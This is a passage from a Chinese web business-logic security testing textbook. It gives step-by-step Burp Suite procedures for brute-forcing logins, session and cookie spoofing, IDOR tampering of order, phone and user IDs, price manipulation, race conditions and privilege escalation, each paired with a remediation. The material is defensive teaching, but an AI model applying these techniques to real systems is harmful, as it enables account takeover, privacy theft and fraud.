业务安全测试流程图\n流程一：测试准备\n准备阶段主要包括对业务系统的前期熟悉工作，以了解被测试业务系统的数量、规模\n和场景等内容。针对白盒性质的测试，可以结合相关开发文档去熟悉相关系统业务；针对\n黑盒测试，可通过实际操作还原业务流程的方式理解业务。\n流程二：业务调研\n业务调研阶段主要针对业务系统相关负责人进行访谈调研，了解业务系统的整体情\n况，包括部署情况、功能模块、业务流程、数据流、业务逻辑以及现有的安全措施等内\n容。根据以往测试实施经验，在业务调研前可先设计访谈问卷，访谈后可能会随着对客户\n业务系统具体情况了解的深入而不断调整、更新问卷（黑盒测试此步骤可忽略）。\n流程三：业务场景建模\n针对不同行业、不同平台的业务系统，如电商、银行、金融、证券、保险、游戏、社\n交、招聘等业务系统，识别出其中的高风险业务场景进行建模。以电商系统为例，如图3-\n3所示为业务场景建模模型图。\n图3-3 电商系统业务场景建模\n流程四：业务流程梳理\n建模完成后需要对重要业务场景的各个业务模块逐一进行业务流程梳理，从前台和后\n台、业务和支撑系统等4个不同维度进行分析，识别各业务模块的业务逻辑、业务数据流\n和功能字段等。\n业务模块的流程梳理主要遵循以下原则：\n· 区分业务主流程和分支流程，业务梳理工作是围绕主流程进行分析的，而主流程一\n定是核心业务流程，业务流程重点梳理的对象首先应放在核心主流程上，务必梳理出业务\n关键环节；\n· 概括归纳业务分支流程，业务分支流程往往存在通用点，可将具有业务相似性的分\n支流程归纳成某一类型的业务流程，无须单独对其进行测试；\n· 识别业务流程数据信息流，特别是业务数据流在交互方双方之间传输的先后顺序、\n路径等；\n· 识别业务数据流功能字段，识别数据流中包含的重要程度不等的信息，理解这些字\n段的含义有助于下阶段风险点分析。\n如图3-4所示是针对某电商类网站的用户登录功能的业务流程梳理图。\n图3-4 相关业务流程图\n通过业务流程的各个阶段梳理出业务流程各个关键环节点，如图3-5所示。\n流程五：业务风险点识别\n在完成前期不同维度的业务流程梳理工作后，针对前台业务应着重关注用户界面操作\n每一步可能的逻辑风险和技术风险；针对后台业务应着重关注数据安全、数据流转及处理\n的日志和审计。\n图3-5 业务环节梳理结果图\n业务风险点识别应主要关注以下安全风险内容。\n（1）业务环节存在的安全风险\n业务环节存在的安全风险指的是业务使用者可见的业务存在的安全风险，如注册、登\n录和密码找回等身份认证环节，是否存在完善的验证码机制、数据一致性校验机制、\nSession 和 Cookie 校验机制等，是否能规避验证码绕过、暴利破解和 SQL注入等漏洞。\n（2）支持系统存在的安全风险\n支持系统存在的安全风险，如用户访问控制机制是否完善，是否存在水平越权或垂直\n越权漏洞。系统内加密存储机制是否完善，业务数据是否明文传输。系统使用的业务接口\n是否可以未授权访问/调用，是否可以调用重放、遍历，接口调用参数是否可篡改等。\n（3）业务环节间存在的安全风险\n业务环节间存在的安全风险，如系统业务流程是否存在乱序，导致某个业务环节可绕\n过、回退，或某个业务请求可以无限重放。业务环节间传输的数据是否有一致性校验机\n制，是否存在业务数据可被篡改的风险。\n（4）支持系统间存在的安全风险\n支持系统间存在的安全风险，如系统间数据传输是否加密、系统间传输的参数是否可\n篡改。系统间输入参数的过滤机制是否完善，是否可能导致 SQL 注入、XSS跨站脚本和\n代码执行漏洞。\n（5）业务环节与支持系统间存在的安全风险\n业务环节与支持系统间存在的风险，如数据传输是否加密、加密方式是否完善，是否\n采用前端加密、简单MD5编码等不安全的加密方式。系统处理多线程并发请求的机制是\n否完善，服务端逻辑与数据库读写是否存在时序问题，导致竞争条件漏洞。系统间输入参\n数的过滤机制是否完善。\n具体业务风险点识别示例如图3-6所示。\n图3-6 业务风险点识别\n流程六：开展测试\n对前期业务流程梳理和识别出的风险点，进行有针对性的测试工作。\n流程七：撰写报告\n最后是针对业务安全测试过程中发现的风险结果进行评价和建议，综合评价利用场景\n的风险程度和造成影响的严重程度，最终完成测试报告的撰写。\n3.4 业务安全测试参考标准\n本书介绍的业务安全测试方法在充分借鉴了中华人民共和国通信行业标准YD/T 3169\n—2016（互联网新技术新业务安全评估指南）、ISO 27002信息安全最佳实践、Cobit IT内\n控框架、PCI数据安全标准的同时，考虑到需要进行业务安全测试的核心业务主要基于\nWeb，还参考了OWASP安全防护框架及Microsoft Web应用安全框架，采纳其中业务安全\n相关的安全性要求、检测方法、处置方法，参考实际业务系统特点及主要安全关注需求，\n能够为目标系统提供定制化测试。\n3.5 业务安全测试要点\n本书总结了十大业务安全测试关键点，如图3-7所示。在接下来的技术篇中，将结合\n案例详细介绍每个关键点的测试原理和方法、测试过程和修复建议。\n图3-7 业务安全测试关键点\n技术篇\n第4章 登录认证模块测试\n4.1 暴力破解测试\n4.1.1 测试原理和方法\n暴力破解测试是指针对应用系统用户登录账号与密码进行的穷举测试，针对账号或密\n码进行逐一比较，直到找出正确的账号与密码。\n一般分为以下三种情况：\n· 在已知账号的情况下，加载密码字典针对密码进行穷举测试；\n· 在未知账号的情况下，加载账号字典，并结合密码字典进行穷举测试；\n· 在未知账号和密码的情况下，利用账号字典和密码字典进行穷举测试。\n4.1.2 测试过程\n使用手工或工具对系统登录认证的账号及密码进行穷举访问测试，根据系统返回的数\n据信息来判别账号及密码是否正确。测试流程如图4-1所示。\n步骤一：对浏览器进行HTTP代理配置，将浏览器访问请求指向Burp Suite工具默认的\n监听端口（这里以火狐浏览器为例）。\n图4-1 暴力破解测试流程图\n（1）打开火狐浏览器，在页面中单击右上角的“打开菜单”按钮，然后在下拉框中单\n击“选项”按钮进入火狐浏览器选项页面，如图4-2所示。\n图4-2 进入火狐浏览器选项功能页面\n（2）在火狐浏览器选项页面中单击“高级”按钮，选择“网络”选项卡，在连接项中单\n击“设置”按钮，进入火狐浏览器“连接设置”界面，如图4-3所示。\n图4-3 进入火狐浏览器“连接设置”界面\n（3）进入“连接设置”界面后将连接方式选择为“手动配置代理”，在 HTTP代理框中\n填写“127.0.0.1”，在端口框中填写“8080”，最后单击“确定”按钮确定配置信息，如图4-4所\n示。\n图4-4 配置火狐浏览器代理参数\n步骤二：使用 Burp Suite 工具获取浏览器登录请求，并将登录请求数据发送至\nIntruder选项卡中（这里使用Burp Suite 1.7.11版本）。\n（1）在Burp Suite页面中选择“Proxy”选项卡，然后再次选择“Intercept”子选项卡，在\n该选项卡界面中将“Intercept”按钮设置为“Intercept is on”，此时火狐浏览器发送的请求数\n据会被Burp Suite工具截断，如图4-5所示。\n图4-5 将Burp Suite工具中Proxy模块数据包拦截功能开启\n从图4-5我们可以看到Proxy的Intercept选项卡中对应有四个选项按钮，下面分别来讲\n解一下。\n· Forward：将当前Proxy拦截到的数据包进行转发。\n· Drop：将当前Proxy拦截到的数据包进行丢弃。\n· Intercept is on：单击之后，将关闭Burp Suite的拦截功能。但是所有HTTP请求还是\n经过Burp Suite，我们可以在HTTP history选项卡中看到。\n· Action：我们可以进行其他更多的操作，发送到 Intruder 等其他 Burp Suite模块，以\n便进行重复测试或者暴力破解。（2）在火狐浏览器中填写要暴力破解的账号信息及任意\n密码信息，单击“确定”按钮提交信息，如图4-6所示。\n图4-6 输入将要暴力破解账号口令并提交\n（3）当火狐浏览器将登录请求数据提交后，会被Burp Suite Proxy模块截断，在截断\n数据界面中使用鼠标右击，在弹出菜单中选择“Send to Intruder”，Burp Suite会将该请求数\n据分发给Intruder模块，如图4-7所示。\n图4-7 截获浏览器请求数据并将请求数据分发给Intruder模块\n步骤三：使用Burp Suite工具中的Intruder模块进行破解参数配置，运行破解任务并成\n功破解系统账号口令。\n（1）在Intruder模块中选择Positions选项卡，单击“Clear”按钮清除相关默认参数值前\n后的“§”标记符号，如图4-8所示。\n图4-8 在Intruder模块中的Positions选项卡中清除默认参数值标记\n（2）用鼠标选中请求数据页面中的password参数值（所要进行暴力破解的密码\n值），并单击“Add §”按钮进行位置标记，如图4-9所示。\n（3）选择Payloads选项卡，然后单击“Load items form file”，在弹出对话框中选择暴\n力破解密码文件并单击“打开”按钮，将破解密码列表导入后单击“Start attack”按钮开始暴\n力破解测试，如图4-10所示。\n（4）在暴力破解测试窗口“Intruder attack 1”中可根据Length属性值长度的不同来判断\n暴力破解密码是否成功，也可通过查看Response返回信息或者Status返回状态的不同来判\n断破解密码是否成功，如图4-11所示。\n图4-9 选择并标记所要暴力破解的参数值\n图4-10 导入暴力破解密码文件并运行暴力破解测试\n图4-11 根据返回结果判断暴力破解密码是否成功\n（5）通过Burp Suite工具暴力破解成功的密码来尝试系统登录（本系统为作者自己搭\n建的系统），如图4-12所示。\n图4-12 通过Burp Suite工具暴力破解成功的密码来尝试登录\n4.1.3 修复建议\n（1）增加验证码，登录失败一次，验证码变换一次。\n（2）配置登录失败次数限制策略，如在同一用户尝试登录的情况下，5 分钟内连续\n登录失败超过6次，则禁止此用户在3小时内登录系统。\n（3）在条件允许的情况下，增加手机接收短信验证码或邮箱接收邮件验证码，实现\n双因素认证的防暴力破解机制。\n4.2 本地加密传输测试\n4.2.1 测试原理和方法\n本机加密传输测试是针对客户端与服务器的数据传输，查看数据是否采用 \nSSL\n（Security Socket Layer，安全套接层）加密方式加密。\n4.2.2 测试过程\n测试验证客户端与服务器交互数据在网络传输过程中是否采用 SSL 进行加密处理，\n加密数据是否可被破解。测试流程如图4-13所示。\n图4-13 本地加密传输测试流程图\n步骤一：使用Wireshark网络抓包工具，选择与公网连接的本地网卡并开启对网卡流\n量数据的捕获功能，如图4-14所示。\n图4-14 使用Wireshark网络抓包工具对本地网卡进行数据捕获\n步骤二：在浏览器中访问要测试的HTTPS协议网站，并输入用户名及密码进行登录\n操作，如图4-15所示。\n图4-15 在Wireshark捕获状态下对HTTPS测试网站进行登录操作\n步骤三：在Wireshark工具捕获流中找到对应HTTPS测试网站登录的请求数据包，对\n该请求包内容进行分析，判断测试网站交互数据是否真正加密，如图4-16所示。\n图4-16 在Wireshark工具捕获流中找到对应HTTPS测试网站并查看数据是否加密\n4.2.3 修复建议\n在架设Web应用的服务器上部署有效的SSL证书服务。\n4.3 Session测试\n4.3.1 Session会话固定测试\n4.3.1.1 测试原理和方法\nSession 是应用系统对浏览器客户端身份认证的属性标识，在用户退出应用系统时，\n应将客户端Session认证属性标识清空。如果未能清空客户端Session标识，在下次登录系\n统时，系统会重复利用该Session标识进行认证会话。攻击者可利用该漏洞生成固定\nSession会话，并诱骗用户利用攻击者生成的固定会话进行系统登录，从而导致用户会话\n认证被窃取。\n4.3.1.2 测试过程\n在注销退出系统时，对当前浏览器授权SessionID值进行记录。再次登录系统，将本\n次授权 SessionID 值与上次进行比对校验。判断服务器是否使用与上次相同的SessionID 值\n进行授权认证，若使用相同 SessionID 值则存在固定会话风险。测试流程如图4-17所示。\n图4-17 Session会话固定测试流程图\n步骤一：在已登录授权认证的页面中单击“退出系统”，如图4-18所示。\n图4-18 单击并退出已登录授权认证的系统\n步骤二：使用Burp \nSuite工具对本次退出系统的请求数据进行截取，对本次授权的\nSessionID进行记录备份，如图4-19所示。\n图4-19 在退出系统前抓包将SessionID值进行记录备份\n步骤三：退出系统后，再次重新登录系统，如图4-20所示。\n图4-20 退出系统后再次重新登录系统\n步骤四：使用Burp Suite工具对本次登录授权请求数据进行截取，并将本次登录与上\n次登录的授权SessionID值进行比较，判断是否相同，如图4-21所示。\n图4-21 将两次登录SessionID值进行判断对比\n4.3.1.3 修复建议\n在客户端登录系统时，应首先判断客户端是否提交浏览器的留存Session认证会话属\n性标识，客户端提交此信息至服务器时，应及时销毁浏览器留存的Session认证会话，并\n要求客户端浏览器重新生成Session认证会话属性标识。\n4.3.2 Seesion会话注销测试\n4.3.2.1 测试原理和方法\nSession 是应用系统对浏览器客户端身份认证的属性标识，在用户注销或退出应用系\n统时，系统应将客户端Session认证属性标识清空。如果未能清空Session认证会话，该认\n证会话将持续有效，此时攻击者获得该Session认证会话会导致用户权限被盗取。\n4.3.2.2 测试过程\n该项测试主要在用户注销退出系统授权后，判断授权认证SessionID值是否依然有\n效。若授权认证SessionID依然有效则存在风险。测试流程如图4-22所示。\n图4-22 Seesion会话注销测试流程图\n步骤一：对已登录授权的系统页面使用Burp Suite工具进行请求数据截取，将数据包\n中Session认证参数值进行保存记录，如图4-23、图4-24所示。\n图4-23 已登录授权的系统页面\n图4-24 使用Burp Suite 工具截取登录认证Session信息并进行保存记录\n步骤二：在数据截取窗口中使用鼠标右击，在弹出菜单中选择“Send Repeater”，将请\n求数据发送至Repeater模块中，如图4-25所示。\n图4-25 将请求数据信息转发至Repeater模块中\n步骤三：在已授权的页面中退出系统，如图4-26所示。\n图4-26 在系统授权页面中退出系统\n步骤四：在Repeater模块相应授权数据信息页面中单击“GO”按钮，再次发送授权访问\n请求并查看系统是否对退出后的用户授权Session进行解除授权，如图4-27所示。\n图4-27 在用户退出系统后再次使用原先的Session访问系统要求重新登录\n4.3.2.3 修复建议\n在用户注销或退出应用系统时，服务器应及时销毁Session认证会话信息并清空客户\n端浏览器Session属性标识。\n4.3.3 Seesion会话超时时间测试\n4.3.3.1 测试原理和方法\n在用户成功登录系统获得Session认证会话后，该Session认证会话应具有生命周期，\n即用户在成功登录系统后，如果在固定时间内（例如10分钟）该用户与服务器无任何交互\n操作，应销毁该用户Session认证会话信息，要求用户重新登录系统认证。\n4.3.3.2 测试过程\n对系统会话授权认证时长进行测试，并根据系统承载的业务需求来分析判断当前系统\n会话授权认证时间是否过长。测试流程如图4-28所示。\n图4-28 Session会话超时时间测试流程图\n步骤一：对已登录授权的系统页面使用Burp Suite工具进行请求数据截取，将数据包\n中Session认证参数值进行保存记录，如图4-29、图4-30所示。\n图4-29 已登录授权的系统页面\n图4-30 使用Burp Suite工具截取登录认证Session信息并进行保存记录\n步骤二：在数据截取窗口中使用鼠标右击，在弹出菜单中选择“Send Repeater”，将请\n求数据发送至Repeater模块中，如图4-31所示。\n图4-31 将请求数据信息转发至Repeater模块中\n步骤三：在此后30分钟内不再使用该授权会话与服务器进行交互访问。30分钟过后在\nRepeater 模块相应授权数据信息页面中单击“GO”按钮，再次发送授权访问请求并查看系\n统返回结果是否存在授权后可查阅的特殊信息，如图4-32、图4-33所示。\n图4-32 对授权成功的Session值进行首次访问\n图4-33 时隔30分钟后再次发送请求（系统仍然返回用户特殊信息）\n4.3.3.3 修复建议\n对每个生成的Session认证会话配置生命周期（常规业务系统建议30分钟内），从而\n有效降低因用户会话认证时间过长而导致的信息泄露风险。\n4.4 Cookie仿冒测试\n4.4.1 测试原理和方法\n服务器为鉴别客户端浏览器会话及身份信息，会将用户身份信息存储在 Cookie中，\n并发送至客户端存储。攻击者通过尝试修改Cookie中的身份标识，从而达到仿冒其他用户\n身份的目的，并拥有相关用户的所有权限。\n4.4.2 测试过程\n对系统会话授权认证Cookie中会话身份认证标识进行篡改测试，通过篡改身份认证标\n识值来判断能否改变用户身份会话。测试流程如图4-34所示。\n图4-34 Cookie仿冒测试流程图\n步骤一：使用leifeng账号登录系统并进行浏览器页面刷新，如图4-35所示。\n图4-35 使用学生账号leifeng登录系统\n步骤二：使用Burp \nSuite工具对本次页面刷新请求数据进行截取，并将请求数据\nCookie中的userid值修改为“admin”进行提交，如图4-36所示。\n图4-36 再次刷新页面并抓包将Cookie中userid身份认证标识进行篡改\n步骤三：查看提交后的返回信息，账号身份授权被修改，如图4-37所示。\n图4-37 通过篡改userid身份标识改变登录系统人员身份信息\n4.4.3 修复建议\n建议对客户端标识的用户敏感信息数据，使用Session会话认证方式，避免被他人仿\n冒身份。\n4.5 密文比对认证测试\n4.5.1 测试原理和方法\n在系统登录时密码加密流程一般是先将用户名和密码发送到服务器，服务器会把用户\n提交的密码经过Hash算法加密后和数据库中存储的加密值比对，如果加密值相同，则判\n定用户提交密码正确。\n但有些网站系统的流程是在前台浏览器客户端对密码进行Hash加密后传输给服务器\n并与数据库加密值进行对比，如果加密值相同，则判定用户提交密码正确。此流程会泄漏\n密码加密方式，导致出现安全隐患。\n4.5.2 测试过程\n对系统敏感数据加密流程进行测试，判断加密过程或方式是否为客户端加密方式。测\n试流程如图4-38所示。\n图4-38 密文对比认证测试流程图\n步骤一：通过Burp Suite工具抓包并根据页面代码分析后证实登录传输口令使用Hash MD5加密算法加密。\n（1）通过Burp Suite工具抓包查看Web系统登录提交密码为加密后的密文传输，如图\n4-39所示。\n图4-39 使用Burp Suite工具抓包证实Web系统登录口令为MD5加密传输\n（2）通过对页面代码分析得出Web系统登录口令加密处理过程是由本地JS脚本来完\n成的，方式为Hash MD5算法加密，如图4-40所示。\n步骤二：在利用Burp \nSuite工具进行暴力破解测试配置中添加配置项“Payload\nProcessing”，将要破解的密码值进行数据处理转换。\n（1）在暴力破解Payload选项卡Payload Processing中单击“Add”按钮，在弹出对话框\n中按顺序选择“Hash”及“MD5”并单击“OK”按钮，如图4-41所示。\n图4-40 分析得出系统密码加密方式为本地MD5算法加密\n图4-41 在Payload Processing中配置密码处理类型\n（2）Payload Processing配置完成后单击“Start attack”按钮开始暴力破解测试，通过\nPayload Processing将所有明文密码进行MD5转换后进行了暴力破解登录测试并成功破解，\n如图4-42所示。\n图4-42 通过Payload Processing配置成功破解密码\n4.5.3 修复建议\n将密码加密过程及密文比对过程放置在服务器后台执行。发送用户名和密码到服务器\n后台，后台对用户提交的密码经过 MD5 算法加密后和数据库中存储的 MD5密码值进行比\n对，如果加密值相同，则允许用户登录。\n4.6 登录失败信息测试\n4.6.1 测试原理和方法\n在用户登录系统失败时，系统会在页面显示用户登录的失败信息，假如提交账号在系\n统中不存在，系统提示“用户名不存在”、“账号不存在”等明确信息；假如提交账号在系统\n中存在，则系统提示“密码/口令错误”等间接提示信息。攻击者可根据此类登录失败提示\n信息来判断当前登录账号是否在系统中存在，从而进行有针对性的暴力破解口令测试。\n4.6.2 测试过程\n针对系统返回不同的登录失败提示信息进行逻辑分析，判断是否能通过系统返回的登\n录失败信息猜测系统账号或密码。测试流程如图4-43所示。\n图4-43 登录失败信息测试流程图\n步骤一：在系统登录页面中输入不存在的账号信息并提交，系统会返回明确语句“用\n户名不存在”，如图4-44所示。\n步骤二：在系统登录页面中输入存在的账号信息及错误密码提交后，系统返回语句间\n接地提示了该账号的“密码/口令错误”，如图4-45所示。\n图4-44 系统返回信息并明确提示登录账号不存在\n图4-45 系统间接地提示该账号密码错误\n4.6.3 修复建议\n对系统登录失败提示语句表达内容进行统一的模糊描述，从而提高攻击者对登录系统\n用户名及密码的可猜测难度，如“登录账号或密码错误”、“系统登录失败”等。\n第5章 业务办理模块测试\n5.1 订单ID篡改测试\n5.1.1 测试原理和方法\n在有电子交易业务的网站中，用户登录后可以下订单购买相应产品，购买成功后，用\n户可以查看订单的详情。当开发人员没有考虑登录后用户间权限隔离的问题时，就会导致\n平行权限绕过漏洞。攻击者只需注册一个普通账户，就可以通过篡改、遍历订单id，获得\n其他用户订单详情，其中多数会包括用户的姓名、身份证、地址、电话号码等敏感隐私信\n息。黑色产业链中的攻击者通常会利用此漏洞得到这些隐私信息。\n5.1.2 测试过程\n攻击者注册一个普通账户，然后篡改、遍历订单 ID，获得其他用户订单详情。测试\n流程如图5-1所示。\n假设某保险网站存在平行权限绕过漏洞。\n登录网站后，访问如下漏洞url，修改参数policyNo的值，可以遍历获得他人保单内\n容，其中包含很多敏感隐私信息。\nhttp://xxxxx.com/SL_LES/policyDetailInfo.do?policyNo=P000000018446847\n图5-1 订单ID篡改测试流程图\n步骤一：登录“李先生”账号（测试），查看本人保单，如图5-2所示。\n图5-2 查看保单\n步骤二：抓包修改保单号，即可越权查看他人保单内容，如图 5-3、图 5-4、图5-5所\n示。\n图5-3 抓包修改保单号\n图5-4 他人保单\n图5-5 他人保单\n在返回的数据包中，包含全部在界面中被隐藏的身份证号等敏感信息，如图5-6所\n示。\n图5-6 查看隐藏的敏感信息\n可能涉及1800多万的保单信息泄露，如图5-7所示。\n图5-7 遍历保单号\n5.1.3 修复建议\n后台查看订单时要通过Session机制判断用户身份，做好平行权限控制，服务端需要\n校验相应订单是否和登录者的身份一致，如发现不一致则拒绝请求，防止平行权限绕过漏\n洞泄露用户敏感个人隐私信息。\n5.2 手机号码篡改测试\n5.2.1 测试原理和方法\n手机号通常可以代表一个用户身份。当请求中发现有手机号参数时，我们可以试着修\n改它，测试是否存在越权漏洞。系统登录功能一般先判断用户名和密码是否正确，然后通\n过Session机制赋予用户令牌。但是在登录后的某些功能点，开发者很容易忽略登录用户\n的权限问题。所以当我们用 A 的手机号登录后操作某些功能时，抓包或通过其他方式尝\n试篡改手机号，即可对这类问题进行测试。\n5.2.2 测试过程\n攻击者登录后，在操作某些功能时，抓包或通过其他方式尝试篡改手机号进行测试，\n如图5-8所示。\n图5-8 手机号码篡改流程图\n以某网站办理挂失业务为例。\n步骤一：以尾号0136手机登录，然后选择挂失业务，如图5-9所示。\n图5-9 挂失业务\n步骤二：抓包修改businessForALLFormBean.username=XXXXXXX0136为business ForALLFormBean.username=XXXXXXX9793，如图5-10所示。\n图5-10 篡改手机号码\n步骤三：手机号码参数篡改成功，成功挂失尾号为9793的手机号码，如图5-11所示：\n图5-11 挂失成功\n5.2.3 修复建议\n后台请求要通过Session机制判断用户身份，如果需要客户端传输手机号码，则服务\n端需要校验手机号是否和登录者的身份一致。如发现不一致则拒绝请求，防止平行权限绕\n过。另外，对于手机 App 程序，不要过于相信从手机中直接读取的手机号码，还是要做\n常规的身份认证，规范登录流程，防止未授权登录。\n5.3 用户ID篡改测试\n5.3.1 测试原理和方法\n从开发的角度，用户登录后查看个人信息时，需要通过sessionid判定用户身份，然后\n显示相应用户的个人信息。但有时我们发现在GET或POST请求中有userid这类参数传输，\n并且后台通过此参数显示对应用户隐私信息，这就导致了攻击者可以通过篡改用户ID越\n权访问其他用户隐私信息。黑色产业链中的攻击者也喜欢利用此类漏洞非法收集个人信\n息。\n5.3.2 测试过程\n攻击者注册一个普通账户，然后遍历用户ID，获得其他用户信息，如图5-12所示。\n图5-12 用户ID篡改测试流程图\n某商城“修改收货人信息”处存在平行权限绕过业务漏洞。\n步骤一：登录商城，找到收货地址单击“修改”按钮并抓包，发现 deliverId 参数，如图\n5-13所示。\n图5-13 修改收货地址\n步骤二：将deliverId参数值“327343”修改为“327344”，如图5-14所示。\n图5-14 修改收货人ID\n步骤三：提交后返回非本账户的联系人相关信息，返回了deliverId=327344的收货人\n信息，如图5-15所示。\n图5-15 泄露其他收货人信息\n5.3.3 修复建议\n后台功能请求要通过 Session 机制判断用户身份，不要相信客户端传来的用户ID。如\n果确实需要客户端传输userid，则服务端需要校验userid是否和登录者的Session身份一致，\n如发现不一致则拒绝请求，防止被攻击者篡改，未授权访问他人账号内容。\n5.4 邮箱和用户篡改测试\n5.4.1 测试原理和方法\n在发送邮件或站内消息时，篡改其中的发件人参数，导致攻击者可以伪造发信人进行\n钓鱼攻击等操作，这也是一种平行权限绕过漏洞。用户登录成功后拥有发信权限，开发者\n就信任了客户端传来的发件人参数，导致业务安全问题出现。\n5.4.2 测试过程\n攻击者抓包篡改发信请求，可伪造发信人，发送钓鱼信件，如图5-16所示。\n图5-16 邮箱篡改测试流程\n步骤一：编写邮件，单击“发送”按钮，如图5-17所示。\n图5-17 写信\n步骤二：使用Burp Suite工具将邮件发送数据包中的发件人参数“inputFrom”进行修改\n并提交发送邮件，如图5-18所示。\n图5-18 修改发件人\n步骤三：收件时，发现发件人被篡改成功，如图5-19所示。\n图5-19 发件人被篡改\n5.4.3 修复建议\n用户登录后写信、发送消息时要通过Session机制判断用户身份。如果需要客户端传\n输邮箱、发件人，服务端需要校验邮箱、发件人是否和登录者的身份一致，如发现不一致\n则拒绝请求，防止被攻击者篡改用于钓鱼攻击。\n5.5 商品编号篡改测试\n5.5.1 测试原理和方法\n在交易支付类型的业务中，最常见的业务漏洞就是修改商品金额。例如在生成商品订\n单、跳转支付页面时，修改 HTTP 请求中的金额参数，可以实现 1 分买充值卡、1元买特\n斯拉等操作。此类攻击很难从流量中匹配识别出来，通常只有在事后财务结算时发现大额\n账务问题，才会被发现。此时，攻击者可能已经通过该漏洞获得了大量利益。如果金额较\n小或财务审核不严，攻击者则可能细水长流，从中获得持续的利益。事后发现此类漏洞，\n就大大增加了追责的难度和成本。\n此类业务漏洞的利用方法，攻击者除了直接篡改商品金额，还可以篡改商品编号，同\n样会造成实际支付金额与商品不对应，但又交易成功的情况。攻击者可以利用此业务漏洞\n以低价购买高价的物品。\n5.5.2 测试过程\n攻击者提交订单时，抓包篡改商品编号，导致商品与价格不对应但却交易成功，如图\n5-20所示，攻击者从价格差中获利。\n图5-20 商品编号篡改测试流程\n步骤一：登录某积分商城http：//xxxxx.com.cn/club/index.php？m=goods&c=lists。\n步骤二：列出积分换商品，先挑选出我想要的礼物，如商品编号为\ngoods_id=1419f75d406811e3ae7601beb44c5ff7. \n需要30积分换购的商品，如图5-21所示。\n图5-21 兑换礼品\n步骤三：选择商城中积分最低的礼物兑换（5 积分的杯子），并填好相关信息，抓包\n修改goods_id，如图5-22所示。\n图5-22 篡改商品编号\n步骤四：替换goods_id=1419f75d406811e3ae7601beb44c5ff7（30积分），替换成功，\n如图5-23所示。\n步骤五：订单页面显示用5积分换购需要30积分的鼠标成功，如图5-24所示。\n图5-23 兑换成功\n图5-24 订单信息\n5.5.3 修复建议\n建议商品金额不要在客户端传入，防止被篡改。如果确实需要在客户端传输金额，则\n服务端在收到请求后必须检查商品价格和交易金额是否一致，或对支付金额做签名校验，\n若不一致则阻止该交易。\n5.6 竞争条件测试\n5.6.1 测试原理和方法\n竞争条件通常是在操作系统编程时会遇到的安全问题：当两个或多个进程试图在同一\n时刻访问共享内存，或读写某些共享数据时，最后的竞争结果取决于线程执行的顺序（线\n程运行时序），称为竞争条件（Race Conditions）。\n在Web安全中，我们可以沿用这个概念，在服务端逻辑与数据库读写存在时序问题\n时，就可能存在竞争条件漏洞，如图5-25所示。攻击者通常利用多线程并发请求，在数据\n库中的余额字段更新之前，多次兑换积分或购买商品，从中获得利益。\n图5-25 竞争条件漏洞\n例如，如下PHP代码片段就存在此竞争条件漏洞。\n5.6.2 测试过程\n攻击者在提交订单时抓包，然后设置很多个线程重放此包。如图5-26所示，在众多请\n求中，个别请求就有可能争取绕过金额、次数的判断，交易成功，攻击者从中获利。\n图5-26 时间竞争测试流程\n某网站退款提现时存在竞争条件漏洞。申请退款时，点了两次，生成了两单退款申\n请，如图5-27所示。\n图5-27 申请退款\n同时余额变成了负数，如图5-28所示。\n图5-28 账户余额\n退款申请没有经过财务审核，直接收到两笔七千多元的退款，如图5-29所示。\n图5-29 提现成功\n5.6.3 修复建议\n如图5-30所示，在处理订单、支付等关键业务时，使用悲观锁或乐观锁保证事务的\nACID特性（原子性、一致性、隔离性、持久性），并避免数据脏读（一个事务读取了另\n一个事务未提交的数据），解决竞争条件和并发操作可能带来的相关业务问题。\n图5-30 竞争条件漏洞修补\n第6章 业务授权访问模块\n6.1 非授权访问测试\n6.1.1 测试原理和方法\n非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访\n问到的页面或文本信息。可以尝试在登录某网站前台或后台之后，将相关的页面链接复制\n到其他浏览器或其他电脑上进行访问，观察是否能访问成功。\n6.1.2 测试过程\n攻击者登录某应用访问需要通过认证的页面，切换浏览器再次访问此页面，成功访问\n则存在未授权访问漏洞，如图6-1所示。\n图6-1 非授权访问测试流程图\n以某网站交费充值为例。\n步骤一：在IE浏览器中登录某网站进行交费，如图6-2所示。\n图6-2 成功缴费截图\n步骤二：复制交费成功的URL，在火狐浏览器里访问，成功访问，如图6-3所示。\n图6-3 再次访问成功截图\n6.1.3 修复建议\n未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷，导致其\n他用户可以直接访问，从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露，\n所以对未授权访问页面做Session认证，并对用户访问的每一个URL做身份鉴别，正确地\n校验用户ID及Token等。\n6.2 越权测试\n6.2.1 测试原理和方法\n越权一般分为水平越权和垂直越权，水平越权是指相同权限的不同用户可以互相访\n问；垂直越权是指使用权限低的用户可以访问权限较高的用户。\n水平越权测试方法主要是看能否通过A用户的操作影响B用户。\n垂直越权测试方法的基本思路是低权限用户越权高权限用户的功能，比如普通用户可\n使用管理员功能。\n越权分类如图6-4所示。\n图6-4\n6.2.2 测试过程\n6.2.2.1 水平越权测试\n正常更改或查看A账户信息，抓包或者更改账户身份ID，成功查看同权限其他账户业\n务信息，如图6-5所示。\n以某网站后台为例，在核查任务编辑模块时，保存用户任务ID，如图6-6所示。\n图6-5 水平权限测试流程图\n图6-6 任务编辑模块\n步骤一：保存任务并抓包，如图6-7所示。\n图6-7 业务抓包\n步骤二：可以看到请求中有taskHeader.taskId这个参数，也许这个参数是提交者的业\n务ID，如果可以更改，能看到别的提交者（如果是同一权限的用户），则这里存在水平\n越权的漏洞，现在利用爆破的方式自动更改taskHeader.taskId，如图6-8所示。\n图6-8 更改业务ID\n可以看到爆破自动更改taskHeader.taskId的值，响应状态为200，且响应长度也不一\n样，查看响应包成功查看其他用户保存的核查任务，如图6-9所示。\n图6-9 更改ID后查看同权限用户的业务信息\n6.2.2.2 垂直越权测试\n登录普通账户A，抓包或直接更改账户A身份ID为高权限C账户的ID，成功查看高权\n限账户C的业务信息，如图6-10所示。\n图6-10 垂直越权测试流程图\n以某系统后台为例。\n步骤一：通过手工猜解得出一个账号密码均为111的用户，成功登录，如图6-11所\n示。\n图6-11 成功登录系统\n步骤二：通过查看得知超级管理员账号为admin。找到“修改密码”这一功能，将密码\n改为789，单击“确定修改密码”后进行抓包，抓包后可以看到两个参数：uid和pwd，分别\n表示用户名和密码。将参数uid的值由111改为admin，码保持789不变，如图6-12所示。\n图6-12 更改数据包\n步骤三：提交修改的数据包，提示密码修改成功，此时 admin 账号的密码已被改成\n789，使用admin账号登录成功，如图6-13所示。\n图6-13 高权限admin账户登录成功\n6.2.3 